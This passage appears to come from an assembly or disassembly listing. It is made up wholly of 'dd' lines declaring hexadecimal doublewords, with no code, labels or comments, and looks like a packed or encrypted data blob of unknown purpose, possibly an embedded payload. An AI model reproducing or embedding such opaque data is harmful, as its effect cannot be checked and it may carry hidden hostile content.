		dd 971129Ch, 8D0600C1h,	0A3422E31h, 6500700h, 21BF145Eh
		dd 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h, 0E9AB1000h
		dd 32729B23h, 3C70BD2Ch, 5A8DCB00h, 0C1A9C14h, 9A1501F5h
		dd 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh, 0C5CDD0C7h
		dd 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h, 80C092DAh
		dd 0F4887Ah, 0D741529Ah, 0CA03140Bh, 89770600h,	868A2411h
		dd 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch, 74F07EB8h
		dd 0FF0083F6h, 715A7203h, 1E8D0502h, 44FD6Fh, 4163166h
		dd 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh,	314A2789h
		dd 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh, 6A733882h
		dd 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h, 0E74387CDh
		dd 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h,	0A86C9A14h
		dd 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h, 25B3AB45h
		dd 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah, 5AB5629Eh
		dd 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh, 1552C862h
		dd 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h, 40B00644h
		dd 8D413914h, 3B381D8Bh, 0DE9707C2h, 2BD00024h,	8A3C40D1h
		dd 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h, 0C9F0BD13h
		dd 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h, 0F286Eh, 0C6AFC382h
		dd 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h,	0AB00E428h
		dd 69B03CE8h, 850341A3h, 78843888h, 0CB47C370h,	441007C4h
		dd 0F0BB1173h, 1D4BDD82h, 9B00D271h, 27E75AFDh,	0D190C3h
		dd 406A8726h, 1E100668h, 84E3F900h, 2C1F62BAh, 758EB002h
		dd 307400F7h, 2E258380h, 0B53CF18Bh, 0A8178044h, 15E1A7FCh
		dd 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h,	5FD73B11h
		dd 7C543700h, 767E532Fh, 0B097FCEh, 57428758h, 30ABA580h
		dd 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h, 0C8807F8h
		dd 743D6224h, 4053FE00h, 70358B77h, 31300CEh, 0EB0D68CCh
		dd 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh, 0D0FC5F12h
		dd 0C6A63F00h, 0EFF91708h, 46F20Bh, 0FCF80FDh, 0B8C1D9B7h
		dd 83F2B900h, 2743EC7h,	822F0087h, 2757E181h, 0D900C958h
		dd 0C13BE440h, 1F7726h,	0DD021D6Eh, 0FA18D2CBh,	0BA965307h
		dd 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h,	0BA754F81h
		dd 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h,	0F2530094h
		dd 825A5B1h, 970E68B8h,	5E195DEDh, 78CB0E00h, 387225Ah
		dd 56824C75h, 539B425Bh, 724D45A8h, 18DB7F00h, 24945A48h
		dd 55890112h, 25E2E3AEh, 8FD040B9h, 0C00293Bh, 97ADC65Fh
		dd 6BC572h, 0C45B18A1h,	58A5DA88h, 95846007h, 0FC0010C6h
		dd 800203h, 0F3E4E938h,	11C9798h, 0C23A8300h, 0C7405674h
		dd 4A9300D4h, 4C35B20h,	48000D7Bh, 0DB2A5E52h, 17A95AAh
		dd 6F1CA5A3h, 0E8744DCEh, 0B80037D4h, 97778AE3h, 839023h
		dd 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh, 70291FEEh
		dd 9CEC0E9h, 0ADDC071Ah, 7100D9F4h, 0AEF00CB1h,	3FF45174h
		dd 0EE8031CBh, 8DA6C6ACh, 821D27AAh, 14C0C3F1h,	0F5F20195h
		dd 5C8500F6h, 0DD54029h, 9200519Dh, 0B2523E4Bh,	3E9A776h
		dd 29E5F810h, 0FCB8401Ch, 0ED58DBE8h, 0D5371E65h, 89F4B841h
		dd 3CE702F0h, 0B10FC458h, 8280A605h, 87453D80h,	6F936400h
		dd 6D37803h, 20050055h,	2608A11Bh, 44006209h, 9811B34Ch
		dd 7E750664h, 270C070Dh, 70B68DBFh, 8CF61471h, 541A1500h
		dd 0AC2EDC8Ah, 789005Eh, 0A96C7952h, 44007C34h,	0E8170509h
		dd 7AD95F7h, 804893D8h,	875C05Dh, 141FCCD3h, 6C02CA3h
		dd 18F7C62Dh, 1D890017h, 0F9533BA1h, 0A6EC32CEh, 0AC21DE00h
		dd 79E3184h, 0A8363997h, 1D803AFAh, 74300E80h, 0B8327563h
		dd 9D607700h, 5CD24DB3h, 580A00B9h, 649C100Bh, 840F94A7h
		dd 20309FAEh, 42A9A824h, 0FF011E53h, 5780405Bh,	6F646E69h
		dd 734B7705h, 0C580DCAAh, 1353925h, 7FE43B7Dh, 7E4F1219h
		dd 60C5AFB0h, 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h
		dd 4E433C69h, 33F80154h, 7542252Eh, 344E7095h, 8057900h
		dd 2306A32h, 58700060h,	10258050h, 4C00FCBFh, 0C9987ECBh
		dd 0F2C1997Fh, 36BC002Bh, 29A97B84h, 0F4F4497Ah, 0DF535700h
		dd 48E71CBBh, 3E79722Dh, 2E00760Ch, 95D7F2F0h, 0B5001B7Fh
		dd 0CAFF50D3h, 0DF7126h, 33CD9214h, 474F5455h, 6843EC0Fh
		dd 27A0008Ch, 1A40A9h, 7D017F2Eh, 137534F8h, 5AD37B03h
		dd 1E9DECh, 64ABFA10h, 34568B46h, 0BB668200h, 6BAD48ACh
		dd 0EFEC0075h, 0B95FD4B3h, 5FC0EC2h, 0FE120100h, 0A93CEF2h
		dd 0FC064F09h, 0DB642ED6h, 5B15D803h, 0AB5CB8AFh, 0A9441DB9h
		dd 0C02D402Bh, 923EE92Eh, 7600F6F8h, 199BB82h, 7A75251Ch
		dd 4B0A0F42h, 0C200A7D4h, 447B57FCh, 0A38F6950h, 22AF4500h
		dd 7EDE0930h, 1AD6482Fh, 55F0AC00h, 0BF5405D4h,	5700A975h
		dd 4B780C73h, 4142ABh, 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h
		dd 0B8AB6E00h, 5123FA0Fh, 0DE20004h, 61D92B4Ah,	3100A521h
		dd 7795CE96h, 39411317h, 1ABDAB52h, 6A986280h, 2153CCA5h
		dd 0AC73F000h, 0BE927D33h, 0C0AE00D5h, 0C7448D3h, 2A000FE6h
		dd 17D88384h, 749C53E9h, 67C40044h, 0CB21F25h, 0A030E0Dh
		dd 2A35EAE7h, 4C18E874h, 134B008Dh, 0FEF6CCA1h,	85055729h
		dd 8CBA9A3Fh, 0C951CE80h
		dd 0B3070105h, 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch
		dd 0B3980A34h, 1CFEB05h, 0FC79F878h, 0B785ECBAh, 8E23443Eh
		dd 5203A358h, 0A552200h, 1D7E664Eh, 0C7101341h,	0B0279943h
		dd 3CEB2806h, 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh,	0C183BE5Ah
		dd 0A306B326h, 0C307C822h, 81C1E72h, 9801AE3h, 0B89616E2h
		dd 0E4B000Dh, 0D0387406h, 0E8390AB3h, 910B0002h, 0AC7A6223h
		dd 4DF94C57h, 42014400h, 41920CA5h, 0B4D8BF00h,	0EB15FF60h
		dd 111C4C28h, 855BC15Bh, 0D7F0E089h, 0AA9C5E00h, 1254AF75h
		dd 0A0094C0Fh, 1F1C800h, 4FE83202h, 0FE0BA100h,	287C0A6Ah
		dd 5E49002Fh, 92981062h, 972F7908h, 9E74AFh, 3D024429h
		dd 0E3B9D90h, 0EB0726EAh, 4719CC01h, 74C0315Ah,	458A006Ah
		dd 16033CFAh, 66002875h, 0BA4B6EA9h, 80FFC3h, 0FA410A86h
		dd 0F6434825h, 83D84D00h, 8CE02E0h, 1D9A24F8h, 0BA3F0033h
		dd 3C3B1996h, 2437B400h, 0A0C8335Ah, 2A6400D0h,	7DA91A7Ch
		dd 0FA904714h, 7A0C2500h, 0CA09E13Dh, 5EA49h, 5BB9827Eh
		dd 0FC0ADE64h, 20005077h, 34BA8CF1h, 3A4FB80Bh,	5700D102h
		dd 0B478BF9Ah, 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h, 0BA008F01h
		dd 94157C57h, 17780A87h, 0F2009077h, 1252988Eh,	9C2C39h
		dd 0FE3ED711h, 0F7934ACBh, 0B220400h, 64F840BFh, 0FD820375h
		dd 9C917F70h, 533E2F90h, 74739F00h, 435C6D81h, 0C7720075h
		dd 0EBD46EBBh, 0CF0FACE8h, 0E0947E53h, 3529DE0Bh, 0AE4F0793h
		dd 0C073EFE4h, 495750B4h, 4A4E7100h, 53D83854h,	52450F1Bh
		dd 26410656h, 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h, 0FF2E102Dh
		dd 1AEE224h, 308298E9h,	0C83A41B0h, 4799B0Dh, 407F7700h
		dd 3D0F0B76h, 0E13F0087h, 0D3852489h, 0EC00D257h, 0AF640345h
		dd 481B08h, 224B9133h, 0C87B4363h, 0E178AE78h, 0B2F63Ah
		dd 11E40D27h, 0F15E084h, 0E93520FBh, 155A040h, 8300F818h
		dd 8A0EF3E1h, 3E7630ECh, 0B207F053h, 709217F4h,	0F8347B59h
		dd 0DF031E74h, 6552AC29h, 0EFF38812h, 6BC003F2h, 3BC5600Eh
		dd 649D9298h, 0F00767E2h, 4654FC08h, 8E31E250h,	65F27Eh
		dd 0A11CEBD8h, 4E1F0415h, 4FC4B803h, 0B937036Ch, 6E30F9B0h
		dd 2B130091h, 21BF5DE7h, 9C009744h, 61C8427h, 806477h
		dd 0C3695399h, 226F0991h, 8B447D1Eh, 12A789C0h,	0C82CB5h
		dd 0ED46BBAh, 5B9FEDD9h, 0A21D3700h, 0E0D5E230h, 0FE86000Ch
		dd 0F80EFF54h, 8A1D1CA7h, 71C0B110h, 40231B28h,	6F9B014Ah
		dd 57B42C33h, 6B72D813h, 61A20900h, 74797D92h, 9F833E49h
		dd 64F7600h, 41B10CBCh,	61FC6400h, 65633B6Eh, 19200029h
		dd 503CDEA7h, 0E4FF6D6Fh, 64004515h, 0B84F3D69h, 0D0E4ACh
		dd 736566D3h, 612D8AE3h, 0C4186C00h, 0CE444D11h, 8E3A03CBh
		dd 4A86EA6Eh, 0BBB8BEB8h, 0B926A501h, 9CB2128Bh, 0B864CBE3h
		dd 90940975h, 0E2320AF1h, 7CDCDE5h, 20BB3976h, 0B70F4540h
		dd 975C5D24h, 18218039h, 0BAA728B9h, 72EB003Ch,	99D7841Dh
		dd 931E0E12h, 4F81348Dh, 1A49BEA2h, 55817C4h, 0DB849B0Fh
		dd 0B9C7C093h, 99002F64h, 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h
		dd 9ECBF373h, 0F3984408h, 8E53143Ah, 48DD56h, 2A88FC95h
		dd 3C5C4887h, 45542100h, 0F509764Dh, 4F26B600h,	8FEED912h
		dd 0C21000C0h, 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h
		dd 0F0B05457h, 0B534C627h, 9A9800D8h, 0C91A8F7Eh, 79FF3600h
		dd 0D35DF2E9h, 530B018Ch, 974C4450h, 0F07D21D5h, 2201B964h
		dd 0F47BB41Bh, 25E0FB16h, 0C6940088h, 8018829Dh, 757BFE3Bh
		dd 2636DE07h, 731510C1h, 8D0874C1h, 0FA8CC870h,	94F7FA3h
		dd 0A804BCEh, 0F00988Eh, 4388C094h, 4E750161h, 57D874D3h
		dd 0ABC300AEh, 0AB06933h, 5C1D5116h, 0B840A7F2h, 3B534108h
		dd 387D0130h, 9D4AC2F4h, 72CAF407h, 8F8D0C02h, 0E0DEC312h
		dd 74F8DA2Dh, 856F0EDCh, 0B12BD3Ch, 5DFEADh, 42409723h
		dd 31C2008Ah, 0EB18F98Bh, 270F3A10h, 0C0097221h, 805703D5h
		dd 75B907FAh, 90B389BBh, 9C159C7h, 0D4310F00h, 1398C44Ch
		dd 3047D83h, 5570C09Bh,	0D0E70EC8h, 12BC62B8h, 0CAD95200h
		dd 1005DC46h, 0B08C00D8h, 1FA4D030h, 6726D443h,	0F601AF27h
		dd 834807E8h, 24A814F0h, 3D7538Dh, 0F719B752h, 0C01BD890h
		dd 38840800h, 2761012h,	56E90009h, 33557EA5h, 6E1C8B78h
		dd 5DC08F92h, 0E805D0D6h, 0B94800AFh, 0A124B767h, 0F500E9BAh
		dd 18EC0C99h, 12A95A8h,	0AC0E495Fh, 0D8727D81h,	0FD007F63h
		dd 480FDF05h, 2EA4BF17h, 70A42E5h, 30EB3014h, 8CB8E88Ah
		dd 9C472C3Fh, 9BC03BE6h, 66AB55Fh, 0C455008Bh, 24A7FA5Ah
		dd 787BF1E9h, 0E1723200h, 0EA103D17h, 3484C0E6h, 0E52DF454h
		dd 1A8C2114h, 0BC08009Dh, 3D3AD490h, 0A4B10382h, 65DF7201h
		dd 0C76ABDE8h, 0DC67F00h, 0A550F246h, 16A60081h, 7322E2E6h
		dd 7C3BCCB8h, 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h,	0F202131Eh
		dd 0A0A30109h, 0FC799286h, 200012E1h, 6DDFA418h, 7A5699F1h
		dd 429800E0h, 10F9C0Eh,	8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h
		dd 33C076E4h, 0D040B45Dh, 0D4961900h, 6138A03h,	0BEF93C48h
		dd 944E6F80h, 2C77B540h, 0DC752000h, 0D7E5F303h, 7D8324C0h
		dd 740F00DBh, 8EC8A38Ch, 703D155Ch, 48D3F00h, 99C62B5Bh
		dd 0C2750033h, 32F546E5h, 97008F22h, 2CC86692h,	3D81D140h
		dd 9183D80Ch, 4B0A5B6Bh, 4CB8490h, 1941CA00h, 8345A0EAh
		dd 0B4B80A62h, 81AE1Eh,	6461C8BCh, 0DC009877h, 0CDC003EDh
		dd 6280F0h, 31E075EEh, 7C7E06FAh, 3EE66D58h, 30AA0044h
		dd 8D985EE6h, 18890235h, 5808050Bh, 810972C0h, 0DB033Fh
		dd 8F8B9B1Ch, 4BC32Bh, 2A299671h, 621A40FFh, 50845500h
		dd 0D009A40Ch, 4CE208h,	2F58E830h, 71B64F69h, 0CAB03C00h
		dd 20C463E9h, 94BC2441h, 0F61E3Ah, 8B28BB3Ah, 48010537h
		dd 2C438319h, 42301221h, 14660030h, 16BE8B50h, 0FE00344Ah
		dd 7B80DE02h, 0D6C103h,	0F2B0576Eh, 0EA52BA68h,	5900D5ECh
		dd 0F84E8D6Dh, 6C0394Ah, 7705F980h, 49FAFC51h, 1904DAFAh
		dd 1708B710h, 29C01E87h, 0B8913248h, 89560009h,	33EB684Bh
		dd 7A1CC72Bh, 6E407980h, 1081322h, 88191D90h, 1E101D02h
		dd 3E071E04h, 0CEF62780h, 0DE89F1Bh, 850F240Bh,	8A3980CCh
		dd 73E43h, 1D74052Ch, 4F83C8FEh, 0F50EE3Ah, 0D488FA08h
		dd 842E00BCh, 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch, 87000FC6h
		dd 369C37B7h, 48F38918h, 8009939h, 0C8C111ADh, 8E00D509h
		dd 14550E9h, 0FA1833FDh, 25F822h, 367B8D05h, 0EB1354BEh
		dd 5C9DA30Fh, 17E980C3h, 14801ABh, 425E8414h, 0EDE4F2B4h
		dd 5CBCE488h, 74F244F2h, 5026A9F2h, 57038171h, 0B80B20EDh
		dd 3E548602h, 6583C976h, 37A608BAh, 0CEE4B898h,	0B9364404h
		dd 1380810Ch, 7614868Ah, 5D450349h, 97D45942h, 0BDA400F5h
		dd 93208BF1h, 0E807CC98h, 2D121AD3h, 864814C0h,	0A9910077h
		dd 0EB2A8A3Bh, 11012C3Ch, 1408F534h, 68F85F64h,	1B3B0178h
		dd 0BE0A0960h, 5310601Dh, 0E200287Fh, 4A4B9734h, 9C5A7h
		dd 91160722h, 0D40B944Fh, 0ED145Ch, 136DA48Fh, 0E274067Ch
		dd 4409000Eh, 3E882E1Eh, 500056EBh, 0B7C4A28Ch,	33C6A65h
		dd 0D689AFF7h, 0E6A01499h, 6300ACD9h, 4D4BFCB8h, 0BADCFFh
		dd 0B2365C43h, 0EB2B5A20h
		dd 7CD7F07h, 47332C0Ah,	81069017h, 1D3A9024h, 4014C95Fh
		dd 0E57C115Dh, 4C00210Eh, 3BF23C10h, 264B22BCh,	19142Ah
		dd 74D807C8h, 900785BEh, 68B2A4F0h, 0E6BB4160h,	9FB0000Ah
		dd 0BCB95D09h, 0C3004916h, 25856C03h, 0C4001h, 36383420h
		dd 0B6587644h, 630011ECh, 0B5C2EF75h, 14302B01h, 0ECFA5390h
		dd 2E0F323Ch, 0FD660D4h, 80BDCAE7h, 7257865Fh, 2DE06269h
		dd 63614200h, 6E45206Bh, 3568005Eh, 56A47A57h, 3400291Ch
		dd 505B7660h, 695D03h, 2F856D75h, 0D4309401h, 535E3Ah
		dd 0C2E349BCh, 436517h,	0B6B2BE1Ch, 6D90B56Eh, 58007298h
		dd 307053EFh, 3B314BADh, 3752DA5h, 0DCAFB590h, 11905098h
		dd 4D002809h, 8C27646Fh, 295525h, 0A534482Ch, 0CD9AFAD8h
		dd 6B019D07h, 5070AC53h, 0FC75DEh, 6AD25930h, 4264A128h
		dd 8B83BF12h, 1978E000h, 760A464Eh, 0A7091DE5h,	0A87C4027h
		dd 0F67E704Fh, 804A0200h, 0CC5B89FCh, 8A787Dh, 0E0B9C45Eh
		dd 0E3820A73h, 582F262Eh, 58BED000h, 210F37Eh, 69E0BF80h
		dd 8DD4468Ah, 0A074020Eh, 50137D09h, 0B01E005Ch, 114B9487h
		dd 0E43AE021h, 0C010003Ah, 0B4292E0Eh, 0DBC307E5h, 0B0481732h
		dd 0BB46B33Ch, 6B00E2F0h, 5AA2F9BFh, 49655Fh, 479430Bh
		dd 4CCA7831h, 2000E698h, 76324D58h, 0EE476113h,	957C002Eh
		dd 0D8363930h, 1B776ACDh, 0B60017B8h, 4A53E8Eh,	584D5Ah
		dd 5E2D48Fh, 93D30A29h,	0BF00CB7Ah, 0C1901512h,	7850B346h
		dd 9443072Ch, 117ABC49h, 0C0F78498h, 3000540h, 8788021h
		dd 0E8F0110h, 0EAA90750h, 0FE09BBC1h, 0E9D260CAh, 0B1793113h
		dd 2078E700h, 3E429C7Ah, 8880C6C1h, 0C0219829h,	832E084Eh
		dd 2D00F9FAh, 2E10BD87h, 40B73F95h, 96DFA6h, 5B0799F3h
		dd 6DEE9118h, 3AEA29F4h, 454CB190h, 0CC51007Bh,	0FC14A13Eh
		dd 2CC41C0Bh, 50EB80C2h, 875C1175h, 88649002h, 0E353798Ch
		dd 42123C7Eh, 31BCECBCh, 0C3431C8Fh, 4C442000h,	84790F3Ch
		dd 18937C0Eh, 804D4F22h, 896F5C91h, 0B440016Dh,	290E5228h
		dd 7972E820h, 22351803h, 0B985ADF4h, 8AE04B2Dh,	302C0ED4h
		dd 0DC60A9D3h, 32FC3143h, 33F98700h, 0F124E50Bh, 0F57C03CBh
		dd 0A7133026h, 0C13B7B98h, 32A9201Eh, 3342F680h, 3955E8h
		dd 6F1D6B6Eh, 71205B77h, 0F43AA702h, 0C075304Ah, 76968CBh
		dd 587F8470h, 0C3E4435Ch, 6007E8C3h, 0EC100146h, 6404B290h
		dd 0F0F251h, 725411D8h,	736E6103h, 74656D00h, 437C19B6h
		dd 775727Bh, 0DC34916Fh, 54CC429Dh, 8AABD540h, 320B9501h
		dd 5C19580Ch, 0F8EB60D1h, 984662A5h, 0C627018Eh, 86774B85h
		dd 2370E80Eh, 72116F01h, 75C47488h, 0F2C7E0h, 3641378h
		dd 45287C14h, 780521Fh,	0DC008496h, 0E8C0C68Fh,	570400ABh
		dd 32517353h, 76765652h, 0FAB32F04h, 218068DBh,	1624884h
		dd 17A915Dh, 0EC18203Ah, 0FC1C89A2h, 3C5FA468h,	559F8CC0h
		dd 4D0390h, 0C87D8194h,	716E6547h, 1B6F7500h, 1E69EF12h
		dd 90493B9Eh, 0AF942785h, 70FE808Dh, 331F8471h,	41C069EBh
		dd 0D6874F9h, 94101C38h, 0A3634724h, 30451ABh, 9152E4EBh
		dd 3C755803h, 90784989h, 772D5C0Fh, 8E8F0733h, 102A6461h
		dd 0EB024124h, 8248110Eh, 0F8832080h, 9565095h,	0B657E90Eh
		dd 0A524807Dh, 0D0FDC2h, 9CBD2A2Fh, 8C463F4Fh, 1A029100h
		dd 0B0ACB878h, 0F2957622h, 0E85D0088h, 0DD27771Fh, 0C1007B69h
		dd 873DF441h, 50D3622h,	3E25C889h, 4B8C042h, 0F03F6373h
		dd 80C3BB84h, 0E0833074h, 88480Fh, 0D9E5D553h, 0B1AB39CAh
		dd 1AB2E90Eh, 0ED9B432Ch, 0A41FB022h, 2F3077Fh,	30B62A12h
		dd 1A93867h, 59510A0Fh,	658FA0B8h, 1C1745FEh, 7F06BD80h
		dd 5FC1759Eh, 40A21D66h, 5121DD84h, 43008D8Ah, 2B52A19h
		dd 0CB7516h, 69307659h,	80E06704h, 0E9E46D00h, 4CD2AA13h
		dd 0DBA41F7Eh, 0B39002Ah, 0B0A5DACFh, 0F9708A00h, 0C114EE6Ah
		dd 557097D5h, 0E53E901Dh, 8F079C5Dh, 5480A808h,	282993h
		dd 915BA5A7h, 45A9664Ah, 5D00067Ah, 0AA4085A6h,	4B829AEh
		dd 2B641F03h, 0B6AB8072h, 0BEE8BA08h, 0C3CDCFBh, 0C2408E03h
		dd 83CA81C6h, 8705E0CEh, 18ED009Ah, 4C331E45h, 48000666h
		dd 10EBC1F6h, 18F44E0Fh, 0AECF25AAh, 4301B738h,	1E3F7EA1h
		dd 0E1D08A11h, 30AEE96h, 5A607CB1h, 45A8C5EAh, 157AE66Bh
		dd 0ACE22A1Fh, 0DE0F5280h, 16ABA8D2h, 35EEC80h,	5B7A592Ah
		dd 19CD58A8h, 8C55D800h, 0E89F51B9h, 0B7280016h, 5CBA0B4Eh
		dd 4801FBC9h, 1B8D108Bh, 0A6D8E974h, 0FC7540h, 0AD9B914h
		dd 354A5C20h, 44008874h, 73102B74h, 7658B2AEh, 0BC30E717h
		dd 1C0D0059h, 0EBB0404Bh, 1A075E65h, 21322A54h,	0ACA41040h
		dd 0B34500A7h, 0B4114E6Ch, 98F019C9h, 9C3040BDh, 1E5700B6h
		dd 8C3DA1BCh, 0C000BEA0h, 7D258D13h, 73B30A2h, 0B5F8FB8Bh
		dd 0C0FA67A3h, 22C33657h, 0D2C94D00h, 8CBFECFh,	17AB0082h
		dd 0EA34DC5Dh, 87002C45h, 597E294Bh, 1184A1Bh, 0BA9444CBh
		dd 0F732B937h, 78921207h, 6E9473E4h, 3582CA09h,	0B1404D54h
		dd 30FD3896h, 285C0CFCh, 83090115h, 5054A4C4h, 0FECB59C4h
		dd 0B08D0016h, 0BA2DC935h, 7E0EEE24h, 0C0501FCFh, 0A016484Fh
		dd 5EA30096h, 8771D7D4h, 0D87E85F4h, 1CDC0800h,	0B1569FA2h
		dd 869400E4h, 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh, 1100B26h
		dd 3D801499h, 2AE15B18h, 0A4EFB0h, 98CE92BFh, 7E591277h
		dd 0B409C401h, 25A656A3h, 0F26AC9CCh, 0C8CD002Fh, 8821AF1Ch
		dd 191ECA9Bh, 99C0A543h, 0DF09D611h, 0BEE85C10h, 0F101330Fh
		dd 3BFFA6Eh, 221A390Ah,	0F8442AA9h, 0EB00883Ch,	5C61976h
		dd 2601E7A0h, 0FA96DE5h, 4321DFA4h, 0D15B20A8h,	0E152D1ACh
		dd 4249E0B0h, 0E65B800h, 391048BCh, 0CC00059h, 0C4908529h
		dd 156719C8h, 54F02006h, 722CCh, 3209D081h, 0CB60C41Bh
		dd 4F2EAA00h, 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h, 3B00E2EBh
		dd 65AC82EDh, 923B5F00h, 0FC0A7185h, 0D27E9564h, 0F02CF406h
		dd 0B7EC0076h, 0DFFE3862h, 6A3E4307h, 0E432005Bh, 0DDE01472h
		dd 42120045h, 2934CC06h, 1EE42D83h, 5C1A0102h, 0E0406F2Ch
		dd 0B0A26E1Ch, 0C5CC00C3h, 0ED540C51h, 0E7A9333h, 8DA56600h
		dd 9D35EF40h, 14EEAE8h,	8FDDCEEAh, 0D4C709D2h, 0C60FE099h
		dd 0E02AB67Ah, 0D62B49AEh, 2F580051h, 3DC255D0h, 11DBD03h
		dd 0DC005C77h, 64BCD3B7h, 0F9532610h, 80FD0001h, 870D048Fh
		dd 0BF2A9E03h, 0A04FA86Bh, 0AC6865h, 40C683D1h,	0B0F8608h
		dd 1448C0EEh, 0A5AD0063h, 642D24FBh, 580203F5h,	76DB850Ch
		dd 21C144C0h, 4BCD8600h, 0BC7C247Fh, 0EF07A4Ah,	56107005h
		dd 3D0C36E3h, 0DF5144D8h, 6E297A00h, 8833022Bh,	75080042h
		dd 1643C394h, 0E047953h, 122147E8h, 7F90B6C0h, 519800A2h
		dd 2E1E25E2h, 8000F6F0h, 0DD3C7869h, 1D2A38D2h,	55204h
		dd 0C981D868h, 7E0010B4h, 0BFEB6582h, 3BB0925h,	4B594CE0h
		dd 56A8F05Ah, 72006116h, 48ADF846h, 2D9F7Bh, 4BE70193h
		dd 0D7A7D4FBh, 7906C3Eh, 0E46EF854h, 0DDEBBD51h, 703AC70h
		dd 44BCCCF7h, 78E6304Bh, 11007F6Fh, 64DFCEE9h, 731724B4h
		dd 886A0758h, 0D06023D6h, 0C4709472h, 0BE27D21Fh, 68950C0h
		dd 4F0CAEh, 2F22F114h, 244EC8DDh, 0E4082112h, 8C6C8000h
		dd 2CFEF084h, 0CAEE65h
		dd 1625DCF4h, 3400AA11h, 6A9488F3h, 0ABCF4Fh, 54801B6Ch
		dd 7765AD7Bh, 31C56800h, 2C59958Dh, 57EF1DB0h, 6B5C7F1h
		dd 0F79CF70Dh, 12AFA14Eh, 0EBD0DC69h, 3A294100h, 8D8263BCh
		dd 0F87885h, 1975809Ah,	92D2FCF4h, 0D1411300h, 0FEEC5D43h
		dd 9DD000E4h, 5F0B0879h, 50E41E5Bh, 856D7100h, 0F7659784h
		dd 1294004Ah, 2224CA1Dh, 5C0B0810h, 80727453h, 0A5AB2D16h
		dd 0ED750027h, 6918A4E4h, 0C0008906h, 0A7BBA8A9h, 4A82BEh
		dd 30145D0Dh, 6D6F431Ch, 34876500h, 712C0A73h, 880B39ECh
		dd 0C170C400h, 0D34E7909h, 8064523Fh, 2BD01884h, 0BA40F22h
		dd 28447291h, 4C9D7B80h, 0D30E3770h, 0E0D8A5BBh, 25876C33h
		dd 927900DEh, 12633018h, 0C848D48Bh, 0ACBC00F4h, 178DB6C4h
		dd 0E031FAC2h, 0ECB2002Fh, 69540BCAh, 0EA0F4556h, 24985980h
		dd 0A2800C89h, 0B87212h, 56AD536Ch, 30C88ADCh, 0E445400h
		dd 6765354Ch, 0E109005Ah, 0C95BC370h, 4B017468h, 0E0F82930h
		dd 27D8ABF2h, 87640018h, 6BC58E6Dh, 0C8F72873h,	0B200D142h
		dd 0B14F2610h, 9055E5h,	947AC427h, 814475Ah, 0D6D18001h
		dd 0EA25F46h, 6016CCh, 295CC595h, 2EB06488h, 90E34B16h
		dd 0DCC47F00h, 7C44D148h, 0ABF07EDh, 40B36965h,	12B47542h
		dd 806C643Fh, 30D2520Ch, 72EB8F6h, 14257669h, 8B59165h
		dd 24FC4E0h, 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h, 31A1866h
		dd 88104619h, 0C8064301h, 1890141Bh, 2E9104E0h,	73A381Ch
		dd 50AE961Ah, 0D27CB865h, 29339F00h, 13AB9C4Ah,	1038000Fh
		dd 2E642B25h, 14F02703h, 87D2AD00h, 53588011h, 0FB478B1h
		dd 2190DF3Eh, 5CC0A74Eh, 3181779Dh, 0F80BF0BFh,	79E107D9h
		dd 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch, 0EDBBC044h, 588AD620h
		dd 0D3004703h, 0D501B5A7h, 0B8008302h, 0AE3D4FFBh, 0FA34D4h
		dd 0E2C87232h, 0C9128937h, 8CB7D901h, 0F188A18Bh, 5562D0h
		dd 9C01451Bh, 0D35B279Fh, 80FB1D3Ah, 504108D1h,	32A5251h
		dd 0EB1069ECh, 588864C2h, 3C00B3EAh, 5E575684h,	38A473h
		dd 0C29887E9h, 145A52E6h, 369FB40Eh, 0BF2B0Fh, 8E1F3EACh
		dd 471000Bh, 0FD27CCFEh, 5F01AF12h, 38EA1CD1h, 0C0D44754h
		dd 34560039h, 0FF3A3374h, 811ECC76h, 470EC322h,	0BA805D4Ch
		dd 809044Dh, 3C0F0370h,	6F7788B1h, 298BB6B8h, 69DE7503h
		dd 0FA99554Bh, 3654E00Ch, 2B4300AFh, 0A5D4459Fh, 0AD010576h
		dd 1912BEF4h, 0F0D0A2E2h, 15261D90h, 8043DE0Eh,	0C1695D8Ch
		dd 2A019402h, 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh, 0C0E0047h
		dd 7E2146D2h, 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h,	0D9A50077h
		dd 0CEB62A4h, 3F002171h, 1711DBA7h, 686C6Ah, 74D83BC0h
		dd 0AECB8316h, 0A6F70400h, 4512A028h, 0C26A00F0h, 4FDF77E3h
		dd 290024ABh, 48165D4Bh, 0B00C06C3h, 0CE090C9Ch, 66B23908h
